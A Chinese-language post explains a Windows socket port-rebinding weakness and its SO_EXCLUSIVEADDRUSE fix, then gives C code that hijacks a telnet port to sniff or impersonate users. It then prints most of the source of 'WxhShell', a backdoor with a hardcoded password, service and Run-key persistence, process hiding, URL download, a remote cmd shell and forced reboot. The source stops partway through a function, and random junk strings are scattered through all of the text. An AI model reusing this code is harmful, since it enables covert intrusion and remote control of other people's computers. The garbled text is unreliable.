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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }{8Fo4/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QP%kL*=8 qijcS2E6S saddr.sin_family = AF_INET; bW9"0=j[{ tQ~<i %; saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~g1, !Wl X
B*}P bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mhk/>+hF "W@XP+POAY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -@L's{J{M EF=dXm/\ 这意味着什么?意味着可以进行如下的攻击: y-# qon{
g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u<]mv NLQE"\#a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0zbLc% j`R<90~/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C.>
6z3T?`}Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Ka]@[R6e (a
`FS,M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x=5P+_ sz/ *w 7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L}W1*L$;< ku9@&W+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nlzW.OLM
j/9WOIfa #include \2Og>{"U #include Xlv#=@;O] #include
3@)obb #include e40udLH~x DWORD WINAPI ClientThread(LPVOID lpParam); @Y
UY9+D& int main() ,;.B4 { EqnpMHF WORD wVersionRequested; 't(}Rq@ DWORD ret; 'Y!pY]Z WSADATA wsaData; {7?9jEj BOOL val; 7]|zkjgI SOCKADDR_IN saddr; l(%k6 SOCKADDR_IN scaddr; > BNw int err; CE#\Roi x) SOCKET s; cJ(BiL-uF SOCKET sc; ]U,CKJF%/ int caddsize; fxDj+Q1p HANDLE mt; 8xF)_UV DWORD tid; qL|
5-(P wVersionRequested = MAKEWORD( 2, 2 ); B6bOEPQ err = WSAStartup( wVersionRequested, &wsaData ); H`m:X,6} if ( err != 0 ) { [$l"-*s4 printf("error!WSAStartup failed!\n"); TZ_rsj/t return -1; `c"4PU^ } k6Ihc?HL saddr.sin_family = AF_INET; gYatsFyL 53
@oP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (*,8KLV_i 7DtIVMiK saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QjA&IZEC
saddr.sin_port = htons(23); -Z%F mv8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u7;`4P:o@ { z)lM2x>|* printf("error!socket failed!\n"); pkX v.D` return -1; r6`\d k } m0A# 6=< val = TRUE; <jeh`g //SO_REUSEADDR选项就是可以实现端口重绑定的 AnNPTi if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y4#y34We { &<au/^F printf("error!setsockopt failed!\n"); _(C^[ :s return -1; QDS0ejhp } g nt45]@{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v f`9*x F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |q;Al
z{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rA,CQypo Xv0F:1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D?e"U_ { +W9]ED ret=GetLastError(); JO2xT#V printf("error!bind failed!\n"); `=79i$,,t
return -1; -!cIesK;< } !!FR[NK listen(s,2); 9\v.qo. while(1) ~m=$VDWm { S'o ]=& caddsize = sizeof(scaddr); "B#Y- //接受连接请求 2FGx _Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3gpo
% if(sc!=INVALID_SOCKET) XaW4C-D& { bGN
5 4{f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OX+hZ<y if(mt==NULL) j 1(T )T { _gKu8$o=- printf("Thread Creat Failed!\n"); Z,WubX< break; %e{(twp } f=o4I2Y[ } <Nex8fiJ9 CloseHandle(mt); pI>*u ]x } "u;YI=+ closesocket(s); vM`7s[oAK WSACleanup(); HA!t$[_Ve return 0; 0Uw
^FcW } WSLy}@`Vx DWORD WINAPI ClientThread(LPVOID lpParam) :uo[&&c { EKuSnlTXba SOCKET ss = (SOCKET)lpParam; IIxJqGN: SOCKET sc; e_/x&a(i8 unsigned char buf[4096]; s~J=<)T*6 SOCKADDR_IN saddr; -es"0wS<u long num; WfG(JJ DWORD val; 'wZ_4XjD DWORD ret; mc
ZGg;3 //如果是隐藏端口应用的话,可以在此处加一些判断 D{p5/#|r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 dQ9
ah saddr.sin_family = AF_INET; KCUU#t|8V\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )~V}oKk0t saddr.sin_port = htons(23); 5Z{_m;I. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4T`&Sl { }c%
pH{HI printf("error!socket failed!\n"); KiAcA]0 return -1; )TU<:V } h*Je35
val = 100; tPU-1by$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bLbR IY"l { 6tn+m54_ ret = GetLastError(); sTkkM9 return -1; /L&M,OUcr. } X|b2c+I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oz{%k#X- { Qz+sT6js- ret = GetLastError(); jl}$HEI5m} return -1; d(7NO;S8 } /v#)f-N%zs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #cU^U#;= r { AW~"yI< printf("error!socket connect failed!\n"); sDC*J\X closesocket(sc); eA=WGy@IcN closesocket(ss); ,l HLH return -1; _KN/@(+F } m`6VKp{YD while(1) [i7YVwG4 { uWjU OJEe //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s;Y<BD //如果是嗅探内容的话,可以再此处进行内容分析和记录 .Evy_o\^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6~8F!b2 num = recv(ss,buf,4096,0); eLfvMPVo if(num>0) JA^v send(sc,buf,num,0); 7I}P*%(f else if(num==0) #BY`h~&T break; #@qN8J}R num = recv(sc,buf,4096,0); OeElMRU" if(num>0) !aNh! send(ss,buf,num,0); uzBz}<M= else if(num==0) ZFvyL8o break; mR+Jws' } *1A&'T2 closesocket(ss); a#0;==# closesocket(sc); rzeLx Wt return 0 ; /ty?<24ko } B,vOsa"x6` :%X Ls, }Qr6l/2 ========================================================== x83a!9 )oU)}asY 下边附上一个代码,,WXhSHELL W5pb;74| 5`-UMz<] ========================================================== PaO-J&< qlsQ|/'D #include "stdafx.h" O1P=#l iYX 0CAa^Q^w #include <stdio.h> qp p/8M #include <string.h> M \D]ml~ #include <windows.h> ;inzyFbL= #include <winsock2.h> p_2pU)% #include <winsvc.h> 6bO~/mpWT~ #include <urlmon.h> 60}! LmL Y`GOER #pragma comment (lib, "Ws2_32.lib") d=3'?l` #pragma comment (lib, "urlmon.lib") _yH`t[ }-DE`c #define MAX_USER 100 // 最大客户端连接数 izZ=d5+K #define BUF_SOCK 200 // sock buffer 06mlj6hV #define KEY_BUFF 255 // 输入 buffer 4Ysb5m)u 3x@<Z68S #define REBOOT 0 // 重启 )9v`f9X){ #define SHUTDOWN 1 // 关机 `BY&>WY[ uQqWew8l+ #define DEF_PORT 5000 // 监听端口 Pbu{'y3J v?:: |{ #define REG_LEN 16 // 注册表键长度 kH948<fk3 #define SVC_LEN 80 // NT服务名长度 9X}I> G"dS+,Q // 从dll定义API J
CGC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y&.UIosWb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {b)~V3rsY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )2e#HBnH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qu|i;WZE ,h]o> // wxhshell配置信息 %O[N}_XHEh struct WSCFG { JXqr3Np1 int ws_port; // 监听端口 l$xxrb9P! char ws_passstr[REG_LEN]; // 口令 d_z59 int ws_autoins; // 安装标记, 1=yes 0=no 3=0E!e char ws_regname[REG_LEN]; // 注册表键名 u1^wDc*xg char ws_svcname[REG_LEN]; // 服务名 {QAv~S>4 char ws_svcdisp[SVC_LEN]; // 服务显示名 mpw~hW0- char ws_svcdesc[SVC_LEN]; // 服务描述信息 wBSQ:f]g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [bz T&o int ws_downexe; // 下载执行标记, 1=yes 0=no M8&}j char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Q \hY7Xq' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s)J(/ p0:kz l4$ }; OO) ~HV4\ +IFw_3$ // default Wxhshell configuration /=?x{(B> struct WSCFG wscfg={DEF_PORT,
q2aYEuu, "xuhuanlingzhe", N)2f7j4C& 1, Z.PBu|Kx "Wxhshell", *fMpZ+;[m "Wxhshell", AyKMhac "WxhShell Service", NAC_pM&B "Wrsky Windows CmdShell Service", p=Q0!!_r "Please Input Your Password: ", TUK"nKSZ`. 1, ,:2'YB " http://www.wrsky.com/wxhshell.exe", hfWFD, "Wxhshell.exe" `>C<}xO }; 2x]>l?
5b `fNpY#QsN // 消息定义模块 xw5d|20b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X2sH E char *msg_ws_prompt="\n\r? for help\n\r#>"; Sjj>#}U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =8Jfgq9E char *msg_ws_ext="\n\rExit."; M~e0lg8 char *msg_ws_end="\n\rQuit."; k%c{ETdE char *msg_ws_boot="\n\rReboot..."; dUrElXbXd char *msg_ws_poff="\n\rShutdown..."; ||7x;2e char *msg_ws_down="\n\rSave to "; LW6ZAETyL y9H%
Xl char *msg_ws_err="\n\rErr!"; <xpph
t< char *msg_ws_ok="\n\rOK!"; ZUm?*.g\^ S[3iA~)Z- char ExeFile[MAX_PATH]; &)wiKh"$ int nUser = 0; I=)hWC/ HANDLE handles[MAX_USER]; 2&mGT&HAVA int OsIsNt; 6RO(]5wX x&sI=5l SERVICE_STATUS serviceStatus; S{t +>/ SERVICE_STATUS_HANDLE hServiceStatusHandle; ?t&kb7 B Xms;[ // 函数声明 6 gL=u-2 int Install(void); 7,qYV} int Uninstall(void); E51dV:l int DownloadFile(char *sURL, SOCKET wsh); }_/Hdmmx int Boot(int flag); q%n6K void HideProc(void); p@!nYPr. int GetOsVer(void); Z%zj";C
G int Wxhshell(SOCKET wsl); Y_&g="`Q void TalkWithClient(void *cs); g,tjm( int CmdShell(SOCKET sock); -&x2&WE' int StartFromService(void); GE;e]Jkjn int StartWxhshell(LPSTR lpCmdLine); rEhX/(n# Xaz o9J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \J. .*,' VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9_s6l ='ZRfb& // 数据结构和表定义 )~4II.`%^ SERVICE_TABLE_ENTRY DispatchTable[] = {N2g8W: { "I?Am&>' {wscfg.ws_svcname, NTServiceMain}, W:,4 :|3 {NULL, NULL} 9O`
m,t }; `pf4X/Py q\Q{sv_ // 自我安装 TNCgaTJ{h int Install(void) =!O*/6rz {
/tV/85r char svExeFile[MAX_PATH]; Y?CCD4"qn HKEY key; b5$JfjI strcpy(svExeFile,ExeFile); [ylsz? S:4crI // 如果是win9x系统,修改注册表设为自启动 WG*t::NN if(!OsIsNt) { >^q7c8]~g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B[=(#W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); geQ{EwO8n RegCloseKey(key); gTgMqvt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F>tQn4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h5%<+D< RegCloseKey(key); X'. qYsS return 0; @2pu^k^ } C*U'~qRK } n55Pv3}C } v(*C%.M) else { h~&gIub UDhG : // 如果是NT以上系统,安装为系统服务 =9oPowq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2"|2a@ if (schSCManager!=0) p.ANVA@: { !CXt*/~ SC_HANDLE schService = CreateService z,qRcO& ( '1,,)U#6E schSCManager, /27JevE wscfg.ws_svcname, 2LrJ>Mi wscfg.ws_svcdisp, ~$'\L SERVICE_ALL_ACCESS, \!( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'O5'i\uz SERVICE_AUTO_START,
RZM"~ 0 SERVICE_ERROR_NORMAL, D3|oOOoG svExeFile, QM3,'?ekRH NULL, 0TfS=scT NULL, tz#gClo NULL, mRB NULL, /9o!*K NULL o7mZzzP ); !d<"nx[2` if (schService!=0) k(zsm"<q { ?9l [y CloseServiceHandle(schService); O: @}lK+H CloseServiceHandle(schSCManager); m(], r}) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -':Y\:W strcat(svExeFile,wscfg.ws_svcname); 0|R# Tb;Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;a-$D]Db RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +/#Ei'do RegCloseKey(key); uOa26kE4 return 0; C6O8RHg } ??n*2s@t } O+%WR CloseServiceHandle(schSCManager); W@yJAQ } .(pN5JI* } UzXE_S 2X:4CC%5 return 1; gp$Ucfu' } 2o>)7^9|#< 83;NIE; // 自我卸载 !LkWzn3 int Uninstall(void) PW3GL3+ { |_omr&[_ HKEY key; D;UV&.$'v S1D@vnZ3O\ if(!OsIsNt) { ^Rx9w!pAN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m*$|GW9 RegDeleteValue(key,wscfg.ws_regname); ]f]<4HD=i RegCloseKey(key); 8/0Y vh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ed9Z9 RegDeleteValue(key,wscfg.ws_regname); }I@L}f5N RegCloseKey(key); )DYI
. return 0; ##Z_QB(; } b;)~wU= } L`th7d" } J9K3s_SN else { ,39aF*r1Q `R"I;qV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #Rg|BfV- if (schSCManager!=0) 0* /{4)r { BTM),
w2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `/HUV&i"S if (schService!=0) )sho*;_o { :ss,Hl if(DeleteService(schService)!=0) { k</%YKk CloseServiceHandle(schService); s?ko?qN( CloseServiceHandle(schSCManager); $T :un.TM return 0; -l%J/ : } |+`c3*PV CloseServiceHandle(schService); ID.n1i3 } 5OoN!TEM CloseServiceHandle(schSCManager); }du XC[ 6 } :VF<9@t } lg047K lV.F,3 return 1; ho>k$s? } H3Se={5h\A 5e
sQ; // 从指定url下载文件 *xp\4;B
int DownloadFile(char *sURL, SOCKET wsh) V7TVt,-3 { u*qV[y5Bl HRESULT hr; tgjr&G}a@0 char seps[]= "/"; _z[#}d;k char *token; <cA/<3k) char *file; J)mhu} char myURL[MAX_PATH]; %F kMv char myFILE[MAX_PATH]; v\`9;QV5 1 { , F strcpy(myURL,sURL); J[^}u_z token=strtok(myURL,seps); "_2Ng<2 while(token!=NULL)
:ujCr. { TNQP"9[? file=token; Jv.UQ token=strtok(NULL,seps); #z1H8CFL" } )"+(butI& !?^b[
nC% GetCurrentDirectory(MAX_PATH,myFILE); 2>*%q%81 strcat(myFILE, "\\"); 8p-=&cuo\@ strcat(myFILE, file); H5D*|42 send(wsh,myFILE,strlen(myFILE),0); -48vJR*tC send(wsh,"...",3,0); vP+@z-O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n ]dL?BJ if(hr==S_OK) pH`44KAuM return 0; @-OnHE else KRjV}\} return 1; 4e;QiTj J<Pw+6B~ } LHJ":^ ~Y.tz`2D // 系统电源模块 =V"(AuCVE int Boot(int flag) 'Wa,OFd\8 { si4don HANDLE hToken; 1".v6caW TOKEN_PRIVILEGES tkp; jq08= mqq;H} if(OsIsNt) { Qv-@Zt!8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 97)/"i e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :W@#) 1= tkp.PrivilegeCount = 1; Kt0(gQOr0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?'"X"@r5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U\rh[0 if(flag==REBOOT) { y,pZTlE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N?X~ w < return 0; |pa$*/!NT } :a:l
j else { fu$R7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fL]Pztsk+ return 0; l|5fE1K9U } ;\MW$/[JCy } % >;#9"O4 else { XR!us/U`a if(flag==REBOOT) { Zf5`XslA. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2c?qV return 0; zXsc1erli } oq*N_mP0
else { UJs$q\#RO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JMdPwI return 0; r <
cVp^ } 3Tq\BZ } WMMO5_Mz Y?534l)j return 1; Mc!Xf[ } V(Yxh+KU lD{Aa!\ // win9x进程隐藏模块 1wW)tNKIF void HideProc(void) /k"`7`! { &QNWL] l1]p'Liuu HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s}onsC if ( hKernel != NULL ) `<[6YH_ {
y<C<_2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cQ:"-!ff ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gT/@dVV FreeLibrary(hKernel); RmrL^asg } -)vEWn$3< 2YuN~- return; %&
_V0R\k } o->\vlbD $Ci0I+5w // 获取操作系统版本 X,8<oX1r int GetOsVer(void) TPhTaKCio { _ pO ` OSVERSIONINFO winfo; g/CxXSv@0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5'a3huRtV GetVersionEx(&winfo);
b3YO!cJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |y<),j6 return 1; ! Q<>3xZ else lcV<MDS return 0; f&D]anf33 } 8}w6z7e|{ w:'dhr': // 客户端句柄模块 Ap{}^ int Wxhshell(SOCKET wsl) G|8%qd {
fI\9\x SOCKET wsh; ^`f*'Z struct sockaddr_in client; %<8nF5 DWORD myID; !A1)|/a@ 6dAEM;$_Z while(nUser<MAX_USER) - y9>;6 { n}xhW'3hU= int nSize=sizeof(client); ?OdJqw0,G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >u%]6_[ if(wsh==INVALID_SOCKET) return 1; PCn Q_A-Q f.GETw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a{Esw` if(handles[nUser]==0) ;IK[Y{W/ closesocket(wsh); Jx#k,Z4 else v+"rZ nUser++; H UoyLy } !6&W,0< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `MP|Ovns:H fA48(0p return 0; 2FD=lR?6 } v}^5Rp&m 22(*J< // 关闭 socket -yDs<
Xl void CloseIt(SOCKET wsh) .k4W_9 { `bKA+c,f closesocket(wsh); D\/xu-& nUser--; NrDi ExitThread(0); >\ST-7[^L } B5X sGLV J/);"bg_O // 客户端请求句柄 $N2SfyX7 void TalkWithClient(void *cs) hC_Vts[v/ { \n0Oez0z!B A~nf#(!^] SOCKET wsh=(SOCKET)cs; 56hA]O29O char pwd[SVC_LEN]; NvjJb-u char cmd[KEY_BUFF]; 7t9c7HLuj/ char chr[1]; gqib:q;r int i,j; W\f9jfD avp;*G} while (nUser < MAX_USER) { -oz`"&% {5*|C-WWtG if(wscfg.ws_passstr) { %=j3jj[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -VDo[Zy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nxQ?bk}*d //ZeroMemory(pwd,KEY_BUFF); vFrt|JC_{ i=0; acd:r%y while(i<SVC_LEN) { 1r r@ mmw^{MK! // 设置超时 1G~S|,8p fd_set FdRead; ,~zj=F struct timeval TimeOut; b=a!j=-D FD_ZERO(&FdRead); ea=83 Zj FD_SET(wsh,&FdRead); Wi n8LOC TimeOut.tv_sec=8; 0%s|Zbo!> TimeOut.tv_usec=0; nRhrWS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hM@\RPsY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G)>W'yxQ }2)DPP:ic if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5sde pwd =chr[0]; KRsAv^'] if(chr[0]==0xd || chr[0]==0xa) { =R*Gk4<Y pwd=0; v;y0jD#b break; xa( m5P } 2}}?'PwwT i++; Ja]oGT=e } ?(KvQK|d4 R4%P:qM // 如果是非法用户,关闭 socket 9+Y D!y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5H,G- } (B>Zaro# 0@1:M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZA#y)z8!E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cd;NpN h$C@j~ while(1) { DJhb ydWtvFuS ZeroMemory(cmd,KEY_BUFF); !rxp?V n - MQ][mMM;w // 自动支持客户端 telnet标准 j&6 jRX j=0; &;H{cv` while(j<KEY_BUFF) { +V v+K(lh$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z*~YLT& cmd[j]=chr[0]; t0PQ~|H<KV if(chr[0]==0xa || chr[0]==0xd) { NnxM3* cmd[j]=0; dw@E) break; ]8 U ~Iy } ]0c Pml j++; IKvBf'%- } ^c9ThV.v J."{<& // 下载文件 fUag1d if(strstr(cmd,"http://")) { rlok%Rt4Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wf02$c0#K if(DownloadFile(cmd,wsh)) yt.c5>B^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); VmQh$&h else @kngI7=E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1TqF6`;+ } P`s(kIe else { Ri:p8 }IUP5O6 switch(cmd[0]) { EiV=RdL j.-VJo) // 帮助 RagiV6c case '?': { Z$K+
7>^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j~ym<-[{a break; g"t^r3 } !"4w&bQ // 安装 sn k$^ case 'i': { $CtCOwKZ if(Install()) GCE!$W send(wsh,msg_ws_err,strlen(msg_ws_err),0); 24@^{
} else 1czG55 | send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d5xxb _oE break; y[HQBv } ui.'^F< // 卸载 ;?9A(q_Z case 'r': { 7#4%\f+'t if(Uninstall()) "!&B4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*(K DDv else MUof=EJg>u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +}!DP~y+ break; }X1.Wt=? } M|CrBJv+F // 显示 wxhshell 所在路径 %= u/3b:o case 'p': { $>vy(Y char svExeFile[MAX_PATH]; m^$5K's& strcpy(svExeFile,"\n\r"); qMgfMhQ7DU strcat(svExeFile,ExeFile); oW'POAr send(wsh,svExeFile,strlen(svExeFile),0); hjY0w break; \ZnN D1A } OCx5/ 88X // 重启 ~"mj;5Id case 'b': { NM L|"R; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DA <ynBQ if(Boot(REBOOT)) n85r^W send(wsh,msg_ws_err,strlen(msg_ws_err),0); RebTg1vGu else { Z*bC#s? closesocket(wsh); me. /o(!? ExitThread(0); 2,AaP*, } D3?N<9g break; $v&C@l \ } |QYZRz // 关机 jKt-~: case 'd': {
&tBA^igXK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R<&FhT] if(Boot(SHUTDOWN)) $Xt;A&l2? send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^pW]r=Xtk else { u( 9X closesocket(wsh); UD*+"~ ExitThread(0); ]V<"(?,K } :o\5K2]: break; Kfjryo9 } ="lI i$>O // 获取shell 8IWwjyRr case 's': { *CUdGI& CmdShell(wsh); vvh.@f closesocket(wsh); aY j%w ExitThread(0); XM!M%.0WS break; h*'d;_(, } }J;~P
9Y // 退出 iBHw[X,b case 'x': { F50JJZ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eUs-5
L CloseIt(wsh); ;f(n.i break; =jUnM>23 } 56ZrCr // 离开 0ny{)Sd6um case 'q': { V Cf|`V~ G send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0#`)Prop6 closesocket(wsh); YKq0f=Ij WSACleanup(); FQ## 397 exit(1); 7:kCb[ji" break; ;Vo mFp L } =, TS MV } U?EG6t } b Fn(w:1Q PSEWL6=]N // 提示信息
?360SQ< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w -dI<s } [|z'"Gk{
} W gZ@N \P@S"QO return; pE(sV{PD } lbofF==( z`@z // shell模块句柄 !OQuEJR int CmdShell(SOCKET sock) EOQaY { w06gY STARTUPINFO si; #W^_]Q=5R' ZeroMemory(&si,sizeof(si)); '8={ sMy si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fva]*5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &[)D]UL PROCESS_INFORMATION ProcessInfo; 9F)W19i. char cmdline[]="cmd"; h/9Sg*k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XC}1_VWs return 0; :3gFHBFDj } (k#t}B[ VwC4QK,d; // 自身启动模式 fr]Hc+7 int StartFromService(void) UhBz<>i;! { 'v+96b/; typedef struct /=-h:0{M { *cQz[S@F DWORD ExitStatus; 'rh\CA/}D DWORD PebBaseAddress; m>O2t- DWORD AffinityMask; ZZwBOGVU DWORD BasePriority;
T"B8;| ULONG UniqueProcessId; sOC|
B ULONG InheritedFromUniqueProcessId; bx]14}6 } PROCESS_BASIC_INFORMATION;
\aB&{`iG G
